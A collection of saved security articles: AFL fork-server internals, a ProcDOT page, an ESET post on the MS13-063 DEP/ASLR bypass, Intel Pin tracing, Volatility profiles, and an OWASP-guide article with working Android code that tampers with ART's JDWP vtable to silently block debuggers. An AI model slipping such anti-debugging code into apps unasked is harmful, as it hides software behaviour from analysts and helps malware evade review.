      /* Phone home and tell the parent that we're OK. */
    
      pushl $4          /* length    */
      pushl $__afl_temp /* data      */
      pushl $199        /* file desc */
      call  write
      addl  $12, %esp
    
    __afl_fork_wait_loop:
    
      /* Wait for parent by reading from the pipe. This will block until
         the parent sends us something. Abort if read fails. */
    
      pushl $4          /* length    */
      pushl $__afl_temp /* data      */
      pushl $198        /* file desc */
      call  read
      addl  $12, %esp
    
      cmpl  $4, %eax
      jne   __afl_die
    
      /* Once woken up, create a clone of our process. */
    
      call fork
    
      cmpl $0, %eax
      jl   __afl_die
      je   __afl_fork_resume
    
      /* In parent process: write PID to pipe, then wait for child. 
         Parent will handle timeouts and SIGKILL the child as needed. */
    
      movl  %eax, __afl_fork_pid
    
      pushl $4              /* length    */
      pushl $__afl_fork_pid /* data      */
      pushl $199            /* file desc */
      call  write
      addl  $12, %esp
    
      pushl $2             /* WUNTRACED */
      pushl $__afl_temp    /* status    */
      pushl __afl_fork_pid /* PID       */
      call  waitpid
      addl  $12, %esp
    
      cmpl  $0, %eax
      jle   __afl_die
    
      /* Relay wait status to pipe, then loop back. */
    
      pushl $4          /* length    */
      pushl $__afl_temp /* data      */
      pushl $199        /* file desc */
      call  write
      addl  $12, %esp
    
      jmp __afl_fork_wait_loop
    
    __afl_fork_resume:
    
      /* In child process: close fds, resume execution. */
    
      pushl $198
      call  close
    
      pushl $199
      call  close
    
      addl  $8, %esp
      ret
    
[/code]

But, was it worth it? The answer is a resounding "yes": the stop-at-
_main\(\)_ logic, already shipping with _afl 0.36b_ , can speed up the fuzzing
of many common image libraries by some 100 to 200%. It's actually almost
unexpected, given that we still keep doing _fork\(\)_ , a syscall with a
lingering reputation for being very slow.  
  
The next challenge is devising a way to move the shim down the stream, so that
we can also skip any common program initialization steps, such as reading
config files - and stop just few instructions shy of the point where the
application tries to read the mutated data we are messing with. Jann's
original patch has a solution that relies on _ptrace\(\)_ to detect file
access; but we've been brainstorming several other ways.  
  
PS. On a related note, some readers might enjoy this.

# ProcDOT - CERT.at

**Created:**| _1/15/2014 9:38:15 PM_  
---|---  
**Updated:**| _1/15/2014 9:38:15 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis visualization_  
  

# **P** rocDOT****

This tool processes Sysinternals Process Monitor \(Procmon\) logfiles and
PCAP-logs \(Windump, Tcpdump\) to generate a graph via the GraphViz suite**.**
This graph visualizes any relevant activities \(customizable\) and can be
interactively analyzed**.**

* * *
## Author****

Christian Wojner

## Language****

English

## License****

View ..**.**

## Donationware****

Support the ProcDOT project ..**.**

## News on Twitter****

https://twitter.com/ProcDOT

## Forum****

https://groups.google.com/forum/\#**\!** forum/procdot

## Releases****

|

## Changes****

| <img src='img/Temp2_6367.gif' />| <img src='img/Temp2_6366.gif' />| <img
src='img/Temp2_6369.gif' />  
---|---|---|---|---  
1**.** 0 \(Build 31\)| -| | | x  
1**.** 0 RC 3 \(Build 29\)| -| | | x  
1**.** 0 RC 2 \(Build 28\)| -| | | x  
1**.** 0 RC 1 \(Build 26\)| -| | | x  
* * *
**You've got some feedback \(issues, ideas, etc**.**\)?  
Join our ProcDOT forum or drop us a line: team@cert**.** at **  
  
**Now that it's time to think about new features we would like to invite you
to take our according online survey helping us to prioritize:ProcDOT Feature
Survey **

## Important****

ProcDOT depends on third party software**\!** Please follow the instructions
in the included readme.txt to install and configure ProcDOT properly**.**

## Quickstart-Guide****

  1. **Select your logfiles**   
Sad but true, the specs for Procmon's native file-format \(.PML\) are not
\(publicly\) available**.** Therefore you have to export your .PML file to
.CSV which can be easily done via the "Save" menuitem in Procmon**.** Be sure
to select "all events".

  2. **choose graphing mode** \(no paths, compressed\)
  3. **select the first relevant \(malicious\) process** \(launching process\)
  4. **click "Refresh"**

## Navigation-Guide****

  * **Node legend:**  
F1

  * **Moving the Graph:**  
Drag with mouse \(left button\)

  * **Zooming the Graph \(in steps\):**  
Ctrl + Scroll wheel

  * **Zooming the Graph \(100%\):**  
Left double click \(double click again to go back to previous scope\)

  * **Going back to previous scope:**  
Right double click \(double lick again to re-fit and center graph to window\)

  * **Finding text:**  
Ctrl+F

  * **Clear found text:**  
Esc

  * **Contextmenu for nodes:**  
Get details, add filter rule

## Screenshot****

<img src='img/Temp2_6368.gif' />

## Instruction-Media****

Cheatsheet: The User Interface  
  
Tutorial-Video 1: The User Interface  
Tutorial-Video 2: The Graph  
Tutorial-Video 3: Analysis \(Part 1\)  
Tutorial-Video 4: Analysis \(Part 2\): The Timeline

### ProcDOT whines about an "unknown format" of the used Procmon file**.**

Most probably you forgot to pre-configure Procmon properly**.** Please follow
the instructions in the readme.txt**\!**

### ProcDOT whines about a not available PNG file**.**

Most probably you forgot to pre-configure Procmon properly**.** Please follow
the instructions in the readme.txt**\!**  
However, with build 22 this error message will change to a more precise
one**.** Actually the same "unknown format" message the "launcher" button uses
if the Procmon file format doesn't match**.**

### I get a blank \(white\) screen instead of a graph**.**

Most probably you forgot to choose a "launcher" process**.** If you just
monitored a running system without invoking a specific process which can be
chosen as a "launcher" keep the "launcher" empty, check the "dumb" checkbox,
and refresh the graph**.**

### Which executables shall I choose in ProcDOT's options**?**

For windump choose the according WinDump.exe \(under Linux choose the
according tcpdump with a fully qualified path, otherwise it won't work\)**.**  
For the \(DOT\) executable of the Graphviz-Suite go to the according
"bin"-folder and choose dot.exe \(or dot under Linux\)**.******

# ntdll\!LdrHotPatchRoutine & DEP/ASLR bypass \(MS13-063\) / Блог компании
ESET NOD32 / Хабрахабр

**Created:**| _8/14/2013 1:07:58 PM_  
---|---  
**Updated:**| _8/14/2013 1:07:58 PM_  
**Author:**| __  
**Tags:**| _vulnerability windows environment mitigations hotpatch_  
  

#  **n** tdll\!LdrHotPatchRoutine & DEP/ASLR bypass \(MS13-063****\)

Вчера компания Microsoft выпустила набор security-обновлений для своих
продуктов, среди которых было обновление MS13-063 , которое исправляет
возможность обхода таких «смягчающих» механизмов эксплуатирования как DEP &
ASLR**.** Техника обхода этих механизмов в эксплойтах была продемонстрирована
ресерчерами NSFocus Security Labs на конференции CanSecWest и VUPEN на Pwn2Own
2013**.**  
  
Мы уже писали  про механизмы EMET v4, в котором появилась возможность
противодействия к использованию метода _ntdll**\!** LdrHotPatchRoutine_ для
загрузки кода нужной библиотеки в памяти, обходя т**.** о. ограничения
накладываемые DEP&ASLR. _LdrHotPatchRoutine_ используется ОС как часть «хот
патчинга» \(исправления компонентов без применения перезагрузки\) и позволяет
загружать динамические библиотеки из различных мест, включая сеть \(через UNC
адреса\)**.** MS13-063 вводит для ОС исправление, аналогичное по возможностям
тому, что было продемонстрировано в EMET**.**

<img src='img/Temp2_10502.png' />

Эксплуатирование _LdrHotPatchRoutine_ тесно связано с обходом ASLR при
использовании всем известной структуры UserSharedData \(KUSER\_SHARED\_DATA\),
которая проецируется по жестко заданным адресам в режиме пользователя
\(0x7ffe0000\) и в режиме ядра \(0xffdf0000\)**.** Структура используется для
быстрого доступа компонентов ОС, работающих в режиме пользователя и ядра к
некоторым разделяемым служебным данным \(информация отладки, таймера, версия
ОС и др**.**\)**.** При использовании некоторых указателей на функции в
UserSharedData атакующий может быстро выяснить адрес необходимой функции**.**
В частности, 64-битные версии Windows до Windows 8 хранили в этой структуре
указатели на функции 32-битной версии ntdll, которую ОС использует для
WoW64**.**

<img src='img/Temp2_10501.png' />

Таким образом описываемый метод эксплуатации UserSharedData&LdrHotPatchRoutine
заключается _в возможности атакующего инициировать вызов недокументированной
функции _LdrHotPatchRoutine_ с необходимым аргументом через один из указателей
в UserSharedData_, что делает DEP&ASLR бесполезными**.** MS13-063 направлено
на устранение нужного указателя в UserSharedData таким образом, что атакующий
не сможет предсказать адрес _LdrHotPatchRoutine_**.** Скриншот ниже
демонстрирует часть UserSharedData, где видно, что обновление ликвидировало и
другие указатели на функции в структуре \(для предотвращения их возможного
эксплуатирования в будущем\)**.**  
  
<img src='img/Temp2_10500.png' />  
  
Указатели на функции были перемещены в структуру ntdll**\!**
LdrSystemDllInitBlock, т. о. делая ее в поле видимости ASLR, что исключает
возможное раскрытие адреса в будущем**.**

<img src='img/Temp2_10499.png' />

http://blogs.technet.com/b/srd/archive/2013/08/12/mitigating-the-
ldrhotpatchroutine-dep-aslr-bypass-with-ms13-063.aspx

  * MS13-063 

## комментарии \(0****\)

Только зарегистрированные пользователи могут оставлять комментарии**.**
Войдите , пожалуйста.

Пометьте топик понятными вам метками, если хотите или закрыть ****

# TurboBytes Pulse

**Created:**| _6/8/2015 5:15:05 PM_  
---|---  
**Updated:**| _6/8/2015 5:15:05 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# TurboBytes Pulse

## Instantly run DNS, HTTP and Traceroute tests across the globe

TurboBytes Pulse enables you to quickly collect DNS, HTTP and Traceroute
responses from many computers around the world. Most of these 'agents' are
connected to consumer ISP networks.  
Pulse is free and open-source. Learn more in the FAQ.

# Tracing with Intel Pin and IDA Pro - n.runs security team

**Created:**| _10/10/2013 12:14:10 PM_  
---|---  
**Updated:**| _10/10/2013 12:14:10 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation iDA_  
  

# Tracing With Intel Pin and IDA Pro

Oct 7th, 2013

## Overview

Static binary analysis is a very powerful tool but it has its limitations.
Dealing with C++ code making use of virtual functions or with function calls
being resolved at runtime are just two examples of nightmares for a reverse
engineer. Another example would be to figure out which code paths are taken
after processing a certain input. Let me show with an example why this is
indeed an interesting problem for a security researcher. Imagine the case of
an analyst evaluating the security of, let’s say, a PDF reader. Through
fuzzing the application will be fed with a large amount of “mutated” PDF files
\(most of them deviating from the specification\) in order to cause an
application error. Some of these errors can be indicators of an underlying
problem that could be leveraged by an attacker to take over the application.

An important measure in such an audit is the so called “code coverage”. Simply
explained this measures which percentage of the total code that has been
actually executed during our tests. A code coverage of 60% for example means
that almost half of the application has not been tested. This means a lot of
potential vulnerabilities left undiscovered.

Now that you have \(hopefully\) a good idea of how important is to trace the
program’s execution let’s jump to a concrete example.

## Tracing with Intel PIN

PIN is a framework from Intel to perform dynamic binary instrumentation\). It
would be pretentious to try to explain what it is better than their creators,
so here is an excerpt from its manual:

_**\[Quote\]** “Pin is a dynamic binary instrumentation framework for the
IA-32 and x86-64 instruction-set architectures that enables the creation of
dynamic program analysis tools. \[…\] The tools created using Pin, called
Pintools, can be used to perform program analysis on user space applications
in Linux and Windows. As a dynamic binary instrumentation tool,
instrumentation is performed at run time on the compiled binary files. Thus,
it requires no recompiling of source code and can support instrumenting
programs that dynamically generate code._

_Pin provides a rich API that abstracts away the underlying instruction-set
idiosyncrasies and allows context information such as register contents to be
passed to the injected code as parameters. Pin automatically saves and
restores the registers that are overwritten by the injected code so the
application continues to work. Limited access to symbol and debug information
is available as well.”**\[/Quote\]**_

Using the PIN framework it is possible to create so called Pintools that will
be compiled to a DLL \(in Windows\). These contain the guide to instrument the
target program, something along the lines of “Keep track of all operations
that write to memory” or “Increment this counter every time a new instruction
is executed”. Very complex programs can be developed using PIN and several
tools used internally in Intel are based on it. In our case we will develop a
small Pintool which just executes a callback function every time a basic block
is hit. This callback will log the address of the basic block to a file or
optionally to a SQLite3 database.

The following is an excerpt of the main function. The code initializing the
log file and the database has been omitted. Especially important here is the
function _TRACE\_AddInstrumentFunction_ , which registers a function \(Trace\)
in order to instrument every basic block found during execution.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
[/code]

|

[code]

    int main(int argc, char *argv[])
    {
      /* Initialize Pin with symbol capabilities */
      PIN_InitSymbols();
      if(PIN_Init(argc, argv)) return Usage();
      […]
      TRACE_AddInstrumentFunction(Trace, 0);  // basic block analysis
      IMG_AddInstrumentFunction(imageLoad_cb, 0); // image activities
      PIN_AddThreadStartFunction(threadStart_cb, 0);  // thread start
      PIN_AddThreadFiniFunction(threadFinish_cb, 0);  // thread end
      PIN_AddFiniFunction(Fini, 0);       // cleanup code
    
      PIN_StartProgram();     // This never returns
    
      return 0;
    }
[/code]  
---|---  
Other information will be logged as well, for example the addresses of code
sections of all modules, through the use of _IMG\_AddInstrumentFunction_ and
the corresponding callback \(_imageLoad\_cb_\). This information is useful to
avoid tracing into system DLLs, improving the tracer’s performance.

The next excerpt shows the very short _Trace_ function. This analyzes the
binary and inserts a call to the function _LogBasicBlock_ at the beginning of
each basic block of execution within every function.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    void Trace(TRACE trace, void *v) {
    /* Iterate through basic blocks */
    for(BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)){
      /* Instrument at basic block level */
      INS head = BBL_InsHead(bbl);
      INS_InsertCall(head, IPOINT_BEFORE, AFUNPTR(LogBasicBlock), IARG_INST_PTR, IARG_END);
      }
    }
[/code]  
---|---  
Our last Pintool code excerpt shows part of the function LogBasicBlock, which
actually implements the logging to a function and/or to a database. Its only
argument is the address in memory of the basic block just hit.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
[/code]

|

[code]

    void LogBasicBlock(ADDRINT ip){
      UINT32 *CallArg = (UINT32 *)ip;
    […]
      string nameFunc = "";
      try{
          string nameFunc = RTN_FindNameByAddress(ip);
      }
      catch (int e){
          cout << "Exception Nr. " << e << endl;
      }
    
      if(nameFunc == "" || nameFunc == "unnamedImageEntryPoint"){
          fprintf(LogFile, "loc_%p @ ???\n", ip);
      } else {
          /* Function name has been successfully resolved */
          fprintf(LogFile, "loc_%p @ %s\n", ip, nameFunc);
      }
    […]
[/code]  
---|---  
Some code avoiding tracing into system DLLs as well as code logging to a
database has been omitted.

As mentioned before, this code is finally compiled to a DLL and used with the
main PIN binary to instrument our target. We will be using a small test binary
written for this purpose which takes two numbers as command line arguments,
performs some arithmetic on them and prints messages depending on the result.

The exact command line arguments for Windows are shown here:

[code]

    1
    
[/code]

|

[code]

    C:\pin\pin_bat.bat –t MyPinTool.dll -- c:\path\to\target.exe [target args]
[/code]  
---|---  
Executing this results in a text file containing a list of all addresses of
basic blocks executed during the trace, one per row. Depending on the size of
the binary this can be very large, containing multiple times the same address.
In some situations, for example when measuring code coverage, having such
detailed information about the trace is less relevant and a list of basic
blocks hit \(only once\) is enough. To this end the Pintool has a “-hit”
modifier which avoids logging basic blocks more than once.

## Visualizing with IDAPython

At this point we have an execution trace in the form of a text file, which it
is not very practical. We need a way to visualize this and optimally be able
to overlay our trace information on top of another tool. We will be choosing
IDA Pro, the professional disassembler. This tool can be used to analyze a
binary and display its structure graphically, what makes it a perfect
candidate for our purposes.

In order to import our trace data we will have to leverage the power of
IDAPython. As you may have guessed already, these are the Python bindings for
the IDA Pro API. Making use of this, it is possible to write complex scripts
to automate several binary analysis tasks. Fortunately for us, in this case
the script we need to develop is pretty straightforward.

The relevant code is shown below. Some auxiliary functions have been omitted.

IDA Pro knows only about the binary on disk but it assigns it some probably
addresses in order to recreate where the binary would be loaded in memory. The
default base address is 0x00400000

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    
[/code]

|

[code]

    # Main code
    filename = AskFile(1, "*.*", "File to import addresses from?")
    
    # Rebase
    image_base = get_image_base(filename)
    print "[*] Rebasing to %08x (image base at the time of capture)" % image_base
    delta = image_base - COMMON_BASE
    rebase_program(delta, MSF_FIXONCE)
[/code]  
---|---  
If the system used to record the trace was Windows XP or alike we are good,
since this is the default base address for all main modules. On the other
hand, it the system was Windows Vista or newer \(with ASLR activated\) the
base address from the trace will be different from the one in IDA and it will
be impossible to overlay our trace information on it. We fix this problem by
reading from our file the base image at the time of the trace and using it to
modify the addresses in IDA correspondingly. This process is called
“rebasing”.

The next step is rather straightforward, the file is parsed to a list of
addresses and these are marked with a specific color.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
[/code]

|

[code]

    # Parse basic blocks from file
    idx = 0
    trace_dict = dict()
    
    addr_list = file_parser(filename)
    for ea in addr_list:
        trace_dict[idx] = ea
        SetColor(ea, CIC_ITEM, 0x581414)
        idx += 1
[/code]  
---|---  
Finally, we would like to present this information in a convenient way. It
would be nice to be able to go through the trace back and forth and inspect
the instructions executed within a specific function. There are several ways
to do this but the simplest would be to write a custom Chooser. It will show
three columns: index, function and address of the traced instruction.

[code]

    1
    2
    3
    
[/code]

|

[code]

    # Display the custom chooser
    SpecialElements = [[str(i), GetFunctionName(v), hex(v)] for i, v in trace_dict.iteritems()]
    SpecialFuncsSelector("Trace results", SpecialElements, 0, parent = None).show()
[/code]  
---|---  
## Putting it all together

The following screenshot shows our extension in action during a reversing
session with the aforementioned test binary. Notice our trace explorer docked
on the right side and how the marked basic blocks can be easily spotted on the
left bottom side. By clicking on an element of the trace explorer the graph
view jumps directly to the corresponding instruction within a function.

<img src='img/Temp2_8431.png' alt='alt text' /> Figure 1. Using the extension.
Notice the new dock \(right\) and the information about executed blocks
\(left, bottom\)

## Conclusion

Although simple, the tools showed in this post are very useful and can save an
analyst a lot of time and more importantly, avoid headaches. With some effort
it is possible to develop your own tools to assist you in specific reverse
engineering tasks.

# Vantage Point Security

**Created:**| _5/12/2017 1:07:57 PM_  
---|---  
**Updated:**| _5/12/2017 1:07:57 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded_  
  

  

Messing with JDWP-related memory structures makes for some nice and stealthy
anti-debugging tricks. The first mention I saw of this method was in a 2013
presentation by Bluebox Security, who were granted a software patent on the
same trick a year later. The patented method overwrites certain pointers in
the Dalvik _DvmGlobals_ structure. Their method however works only on Dalvik,
so I decided to look into how one could achieve similar things with ART.
Hopefully, not too late before someone patents ART anti-debugging as well
\(personally, I find the whole idea of patenting anti-debugging tricks
laughable, but that's a discussion for another time\).

First, let's have a look at the method described by Bluebox. In Dalvik,
there's a global variable called  _gDvm_ that __ holds __ a pointer to the
_DvmGlobals_ structure _._ This makes it easy to directly access global JDWP-
related data. For example, _gDvm.__jdwpState_ points to a struct that contains
global debugging data and function pointers. Manipulating that data causes the
JDWP thread to malfunction or crash. Example from the patent application:

[code]

    JNIEXPORT jboolean JNICALL Java_com_example_disable(JNIENV* env, jobject dontuse ){
    
      // gDvm==struct DvmGlobals
    
      gDvm.jdwpState = NULL;
    
      return JNI_TRUE; 
    
    }
[/code]

At first glance, this isn't as easy to accomplish in ART. No global symbols
pointing to important data structures exist \(see source code here and here\).
We have a global variable named  _gJdwpState_ pointing to the main _struct_
_JdwpState_ instance, but unfortunately  _gJdwpState_ is a local symbol, so,
the linker won't resolve it for us.

Interestingly however, _libart.so_ exports some of the vtables of JDWP-related
classes as global symbols. I don't know what's the reason for that and whether
it's a normal thing to do \(maybe a computer scientist could comment on
that?\), but it does give us some nice ways of tampering with the behavior of
the JDWP thread. Interesting classes include _JdwpSocketState_ and
_JdwpAdbState_ \- these two handle JDWP connections via network sockets and
ADB, respectively.

<img src='img/content_libart-export.jpg' width='800' height='119' />

  
We can overwrite the method pointers in various ways. Simply nulling them is
not a good idea however, as it crashes the process. A good way I found is
overwriting the address of "jdwpAdbState::ProcessIncoming\(\)" with the
address of "JdwpAdbState::Shutdown\(\)". Note: I suppose that something
similar is done in one of the soft tokens I hacked last year, so I am
certainly not the first one to come up with that idea \(I could probably still
patent it though, just to troll everyone else later\).

My native implementation of this trick looks as follows:

[code]

    #include <jni.h>
    #include <string>
    #include <android/log.h>
    #include <dlfcn.h>
    #include <sys/mman.h>
    #include <jdwp/jdwp.h>
    
    #define log(FMT, ...) __android_log_print(ANDROID_LOG_VERBOSE, "JDWPFun", FMT, ##__VA_ARGS__)
    
    // Vtable structure. Just to make messing around with it more intuitive
    
    struct VT_JdwpAdbState {
        unsigned long x;
        unsigned long y;
        void * JdwpSocketState_destructor;
        void * _JdwpSocketState_destructor;
        void * Accept;
        void * showmanyc;
        void * ShutDown;
        void * ProcessIncoming;
    };
    
    extern "C"
    
    JNIEXPORT void JNICALL Java_sg_vantagepoint_jdwptest_MainActivity_JDWPfun(
            JNIEnv *env,
            jobject /* this */) {
    
        void* lib = dlopen("libart.so", RTLD_NOW);
    
        if (lib == NULL) {
            log("Error loading libart.so");
            dlerror();
        }else{
    
            struct VT_JdwpAdbState *vtable = ( struct VT_JdwpAdbState *)dlsym(lib, "_ZTVN3art4JDWP12JdwpAdbStateE");
    
            if (vtable == 0) {
                log("Couldn't resolve symbol '_ZTVN3art4JDWP12JdwpAdbStateE'.\n");
            }else {
    
                log("Vtable for JdwpAdbState at: %08x\n", vtable);
    
                // Let the fun begin!
    
                unsigned long pagesize = sysconf(_SC_PAGE_SIZE);
                unsigned long page = (unsigned long)vtable & ~(pagesize-1);
    
                mprotect((void *)page, pagesize, PROT_READ | PROT_WRITE);
    
                vtable->ProcessIncoming = vtable->ShutDown;
    
                // Reset permissions & flush cache
    
                mprotect((void *)page, pagesize, PROT_READ);
    
            }
        }
    }
[/code]

Once this function has run, any connected Java debugger is disconnected, and
any further connection attempts fail. Amazingly, it all happens quietly and
without any helpful explanations in the log:

[code]

    Pyramidal Neuron:~ berndt$ adb jdwp
    
    2926
    
    Pyramidal Neuron:~ berndt$ adb forward tcp:7777 jdwp:2926
    
    Pyramidal Neuron:~ berndt$ jdb -attach localhost:7777
    
    java.io.IOException: handshake failed - connection prematurally closed
    
        at com.sun.tools.jdi.SocketTransportService.handshake(SocketTransportService.java:136)
    
        at com.sun.tools.jdi.SocketTransportService.attach(SocketTransportService.java:232)
    
        at com.sun.tools.jdi.GenericAttachingConnector.attach(GenericAttachingConnector.java:116)
    
        at com.sun.tools.jdi.SocketAttachingConnector.attach(SocketAttachingConnector.java:90)
    
        at com.sun.tools.example.debug.tty.VMConnection.attachTarget(VMConnection.java:519)
    
        at com.sun.tools.example.debug.tty.VMConnection.open(VMConnection.java:328)
    
        at com.sun.tools.example.debug.tty.Env.init(Env.java:63)
    
        at com.sun.tools.example.debug.tty.TTY.main(TTY.java:1066)
    
    
[/code]

The trick is quite stealthy - by obuscating and hiding the implementation, you
can make it quite a pain to discover \(the calls to _dlopen_ and _dlsym_ are
the main giveaways\). Note that we only handle ADB connections - you'll likely
need to patch _JdwpSocketState_ as well to fully prevent Java debugging.

## How to Defeat this Trick

There are many ways to bypass this defense. Most likely you'll want to patch
the app to prevent the vtable tampering or - if you can't easily do that for
whatever reason - repair the vtable after it has been manipulated. We're
documenting all the necessary techniques in the OWASP Mobile Testing Guide -
plus, you'll also find a lot more anti-debugging tricks there:

  * Tampering and Reverse Engineering on Android
  * Testing Resiliency Against Reverse Engineering on Android
  * Assessing Anti-Reversing Schemes

## About this Article

This article is part of the Mobile Reverse Engineering Unleashed series. Click
the blue label on the top of this page to list orther articles in this series.

## About the OWASP Mobile Security Testing Guide

I wrote this how-to for the OWASP Mobile Security Testing Guide \(MSTG\), a
manual for testing the security of mobile apps. The MSTG is an open source
effort and we welcome contributions and feedback. To discuss and contribute,
join the OWASP Mobile Security Project Slack Channel. You can sign up here:

http://owasp.herokuapp.com/

Also, check out the mobile crackmes we developed for the guide\!

## About the Author

Bernhard Mueller is a full-stack hacker, security researcher, and winner of
BlackHat's Pwnie Award.

  

# conemu-maximus5 - Windows Console Emulator, Far Manager plugins - Google
Project Hosting

**Created:**| _4/19/2013 7:43:26 AM_  
---|---  
**Updated:**| _4/19/2013 7:43:26 AM_  
**Author:**| __  
**Tags:**| __  
  

# Windows Console Emulator, Far Manager plugins

## About ConEmu

ConEmu-Maximus5 is a Windows console emulator with tabs, which presents multiple consoles and simple GUI applications as one customizable GUI window with various features. Initially, the program was created as a companion to Far Manager  \(FAR in Wikipedia \), my favorite shell replacement - file and archive management, command history and completion, powerful editor. Today, ConEmu can be used with any other console application or simple GUI tools \(like PuTTY for example\). ConEmu is an active project, open to suggestions . Please, vote for ConEmu  This project grew up from ConEmu by Zoin . Please, vote for Far Manager on forum.ru-board.com  :\) **Disclaimer \#1** ConEmu is not a shell, so it does not provide "shell features" like tab-completion, command history and others. ConEmu is advanced console window where you can run any shell of your choice. However, some of these features placed in RoadMap . Also you may try Clink  for bash-style completion. **Disclaimer \#2** If you notice lags while executing batches or commands \(from cmd/git/bash/etc.\) just upgrade to latest alpha build or uncheck option "Inject ConEmuHk". Read Issue 526  for details. |  <img src='http://conemu-maximus5.googlecode.com/svn/files/ConEmu2013.png' />  
---|---  
## Documentation , What's new , FAQ , Screenshots , Reviews

## Description

ConEmu starts a console program in a hidden console window, and provides an
alternative customizable GUI window with various features:

  * smooth and friendly window resizing; 
  * tabs for editors, viewers, panels and consoles; 
  * run simple GUI apps in tabs; 
  * Windows 7 Jump Lists and Progress  on Taskbar buttons; 
  * easily run old DOS applications  \(games\) in Windows 7 or 64-bit OS; 
  * thumbnails and tiles in Far Manager; 
  * normal, maximized and full screen graphical window modes; 
  * window font anti-aliasing: standard, ClearType, disabled; 
  * window fonts: family, height, width, bold, italic, etc.; 
  * using normal/bold/italic  fonts for different parts of the console simultaneously; 
  * Chinese verions of Windows supported; 
  * using 24-bit colors in Far Manager 3.x; 
  * ANSI X3.64 and Xterm 256 colors ; 
  * cursor: standard console \(horizontal\) or GUI \(vertical\); 
  * optional per-application settings \(e.g. palette\); 
  * vertical console buffer scrolling using the keyboard \(BufferHeight mode\); 
  * show full output \(1K+ lines\) of last command in Far Manager's editor/viewer; 
  * customizable Far Manager right click behaviour \(long click opens context menu\); 
  * drag and drop \(explorer style\) of files and folders in Far Manager; 
  * limited support of BDF fonts; 
  * user friendly text and block selection; 
  * transparency and desktop mode; 
  * customizable starting tabs; 
  * configurable and clickable status bar; 
  * and more, and more... take a look at the Settings dialog, What's New page  and Settings.reg 

All settings are read from the registry or ConEmu .xml file \(multiple named
configurations are supported\), after which the command line parameters are
applied. Parameters /Config and /BufferHeight can only be specified on the
command line. Most settings are configured using the Settings dialog, not from
the command line.

## Requirements

  * Windows 2000 or later. 

## Installation

  1. Unpack all files \(from appropriate "`ConEmuPack.*.7z`" archive\) to the folder, containing "`far.exe`", or install the "`ConEmuSetup.*.exe`" package. 

  * If You **are** using Far Manager, please ensure that ConEmu plugins \("`Plugins\ConEmu\ConEmu.dll`" etc.\) are installed to Far Manager's Plugins folder. 
  * If You are **not** using Far Manager, You may unpack the files to any folder, and delete the "`Plugins`" subfolder. 
  * **Warning** : because of frequent non-backwards-compatible API changes in Far 3, it is strongly recommended to use the latest **developer** build when using ConEmu with Far 3. 

  * Import ConEmu's macros into Far Manager. Macro files are located in the ConEmu.Addons directory. Each macro file has a description in its header. 
  * By default \(when started without command-line parameters\), ConEmu runs "`far.exe`" from its home folder, or "cmd.exe"/"tcc.exe" if Far Manager was not found. Alternatively, You may indicate any root command by specifying a "/Cmd <App with params> " argument in ConEmu's shortcut or command line. 

## Screenshots

<img src='http://conemu-
maximus5.googlecode.com/svn/files/ConEmuTransparency.png' />

More screenshots

# Adding new structure definitions to Volatility « Inside out

**Created:**| _12/19/2011 9:49:12 AM_  
---|---  
**Updated:**| _12/19/2011 9:49:12 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

# Adding new structure definitions to Volatility

I am currently preparing for a day long tutorial on Windows Volatile Memory
Forensics for Incident Response, which Michael Cohen and I are presenting at
the AusCERT conference next week. A significant part of the analysis component
of the tutorial will focus on the open source volatile memory analysis tool,
Volatility.

A current limitation Volatility’s support for Windows is that it doesn’t
support analysis of anything other than Windows XP. This comes down to two
issues:

  1. The core kernel structures \(symbols\) which are related to information about processes, threads, open sockets and the like, tend to change from version to version of Windows; and 
  2. The technique that Volatility uses to initially find those structures does not work on Vista and above. 

In this post I will be relating the first steps of how I ported Volatility to
accept new symbol definitions in support of Vista in x86 \(ie 32 bit\)
systems. Beta code \(complete enough to run pslist amongst others\) is now in
subversion.

My approach involved integrating automatically generated type definitions for
Windows XP SP3, before applying the approach to Vista. It may seem redundant
to use automatically generated type definitions for XP SP3, given that
volatility works fine with its own hand coded ones for this version, however,
doing so provides a useful foundation step, highlighting any assumptions being
made higher up in the code.

## Generating new structure definitions from PDB files

Thankfully all of the heavy lifting has been done by others. Brendan Dolan-
Gavit has produced pdbparse that generates volatility compatible structure
definitions from the symbol files that Microsoft produces.

The steps I undertook are:

1\. Downloaded Windows XP with Service Pack 3 x86 retail symbols from
Microsoft. I installed them to C:\dev\XPSP3\_x86\

2\. Checked out via subversion the current beta of Volatility.

3\. Checked out via subversion pdbparse.

4\. I installed the python construct module, on which pdbparse relies.

5\. I then ran the tpi\_vtypes.py program from pdparse against the symbol file
which corresponds to the Windows XP uni-processor kernel, ntoskrnl.pdb,
generating a python symbol definition file for volatility in the process.

> C:\mysrc\pdbparse>c:\Python25\python.exe tpi\_vtypes.py
> c:\dev\XPSP3\_x86\symbols\EXE\ntoskrnl.pdb > xp\_sp3\_x86\_vtypes.py
## Adding structure definitions to Volatility

Adding the new structure definitions to volatility is simplified by the new
“profile” abstraction recently introduced. Profiles allow for defining sets of
structure definitions specific to a particular envionment. In this case, I
created a new profile called “WinXPSP3”.

The steps I took are as follow:

1\. Moved xp\_sp3\_x86\_vtypes.py to the \plugins\overlays\windows folder
within the volatility source tree.

2\. Created a new profile implementation called xp\_sp3\_x86.py. I based this
off the existing windows XP SP2 profile, modifying to suit. In essence, the
new profile is composed of three things:

  * a definition of native types \(these appear to generally apply to 32bit windows operating systems \(I simply took the exiting windows definitions\); 
  * a definition of the specific structural types which I just generated \(contained in vista\_sp0\_x86\_vtypes.py\); 
  * an overlay definition \(I simply reused the existing XP SP2 one 

> class WinXPSP3\(xp\_sp2.WinXPSP2\):  
>  """ A Profile for windows XP SP3 """  
>  native\_types = vtypes.x86\_native\_types\_32bit  
>  abstract\_types = xp\_sp3\_x86\_vtypes.ntoskrnl\_types  
>  overlay = vtypes.xpsp2overlays
``

3\. Running volatility against an appropriate image resulted in the following:

